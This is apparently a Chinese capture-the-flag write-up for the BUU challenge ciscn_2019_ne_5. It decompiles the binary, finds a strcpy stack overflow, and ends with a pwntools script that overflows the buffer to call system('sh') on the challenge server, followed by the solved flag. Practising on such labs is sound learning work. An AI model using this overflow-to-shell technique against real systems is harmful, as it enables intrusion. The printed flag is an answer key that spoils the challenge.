BUU-ciscn_2019_ne_5

检查保护

在这里插入图片描述

IDA

逻辑不是很复杂,

第一次提示输入admin密码,密码要输入administrator才能下一步

接着是输入功能选项(0~3)

第一个输入,看起来没啥用,但是传入的是src字符串,返回的也是src

在这里插入图片描述

第二个输出,进去只有一个put,一无所有

第三个是打印,里面发现了system函数

在这里插入图片描述

第四个本应该是’0’选项,这里多了个’4’,函数名叫getflag,进去看是个输出flag的函数,初步预测跳转到这里就可以了。

在这里插入图片描述

第五个才是’0’的退出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *v9; // [esp+F4h] [ebp-Ch]

  v9 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

解题

本来我想直接在功能选项输入4,但是弹出的flag是0……

在这里插入图片描述

可能直接跳转还是不行,这里看看能不能rop:

再次翻看四个选项,发现getflag有个strcpy,这里可以栈溢出跳转地址,dest栈空间0x48。拷贝的src可以在选项1里输入。

在这里插入图片描述


现在手里有了system,栈溢出点,就差/bin/sh

这里我找了很久没找到,暂时也没学libc库怎么调用,看大佬wp发现有个ffllush字符,可以截取里面的sh(太骚了),由于只截取部分字符,所以地址要手动偏移偏移。

在这里插入图片描述

我一开始不知道咋算,是按照小端序?要不要算\00?后面发现大佬用ROPgatget直接找关键字符串,服ORZ

在这里插入图片描述

0x080482E6到0x080482EA增加了4,应该是1个字符占一个地址,不是小端序,fflu刚好四个地址,\00在sh后面

EXP

👴吐了,sytem函数没点进去,调用错地址了,一直报错……

在这里插入图片描述

在这里插入图片描述

from pwn import *
p=remote('node3.buuoj.cn',29801)
context.log_level='debug'
p.recvuntil("password:")
p.sendline("administrator")
p.recvuntil("operation:")
p.sendline("1")
p.sendline('A'*0x48+'a'*4+p32(0x80484D0)+'a'*4+p32(0x080482EA))
p.recvuntil(":")
p.sendline('4')
p.interactive()

附:获取_system地址的其它写法:

system_plt = elf.plt['system']
system_addr=elf.sym['system']

flag

flag{e88eea8b-c04b-468e-a5c9-d6bb08c3547b}

坑&填坑

1.明明构造了system("/sh")为什么还要倒回去执行4号选项才能正常进入交互界面,否则报错

在这里插入图片描述

2./bin/sh 和 /sh有啥区别

没啥区别

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值